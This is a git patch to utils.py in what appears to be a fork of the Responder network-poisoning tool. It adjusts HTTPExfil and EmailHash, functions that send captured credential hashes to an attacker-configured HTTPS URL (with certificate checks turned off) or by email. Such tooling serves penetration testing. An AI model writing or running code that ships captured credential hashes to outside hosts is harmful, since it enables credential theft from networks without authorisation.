From 4ad5bc4b3bcda85c6a3b16f49317524305f87f3a Mon Sep 17 00:00:00 2001 From: deadjakk Date: Wed, 2 Jun 2021 20:21:23 -0500 Subject: [PATCH] changed default data type of result back to dict --- utils.py | 20 ++++++++++++++------ 1 file changed, 14 insertions(+), 6 deletions(-) diff --git a/utils.py b/utils.py index 7bf6f91..1a735c3 100644 --- a/utils.py +++ b/utils.py @@ -27,10 +27,14 @@ import struct from calendar import timegm def HTTPExfil(result): - result = str(result) try: if not settings.Config.httpsexfil_enabled: return + if not settings.Config.httpsexfil_url: + print(color("[HTTPS Exfil]",1),"HTTPS Exfil is enabled but not configured. " + "Check Responder.conf to configure") + return False + # requests isn't in stdlib, so using urllib import urllib.parse import urllib.request @@ -41,12 +45,16 @@ def HTTPExfil(result): ctx.check_hostname = False ctx.verify_mode = ssl.CERT_NONE - data = { - 'hashes' : base64.b64encode(result.encode()), - } + data = result + if type(data) != dict: + result = str(result) + data = { + 'hashes' : base64.b64encode(result.encode()), + } + data = bytes( urllib.parse.urlencode( data ).encode() ) handler = urllib.request.urlopen( settings.Config.httpsexfil_url, data , context=ctx) - print(color("[HTTPS Exfil]",3,1),"Sent via https exfil") + print(color("[HTTPS Exfil]",4,1),"Sent via https exfil") except Exception as e: print(color("[HTTPS Exfil]",1),"Error sending via HTTPS Exfil{}".format(e)) return @@ -78,7 +86,7 @@ def EmailHash(result): server.sendmail(settings.Config.emailusername, settings.Config.emailsendto, message) server.close() - print(color("[EMAIL]",3,1),"Sent email to {}".format(settings.Config.emailsendto)) + print(color("[EMAIL]",4,1),"Sent email to {}".format(settings.Config.emailsendto)) except Exception as e: print(color("[EMAIL]",1),"Error sending email {}".format(e))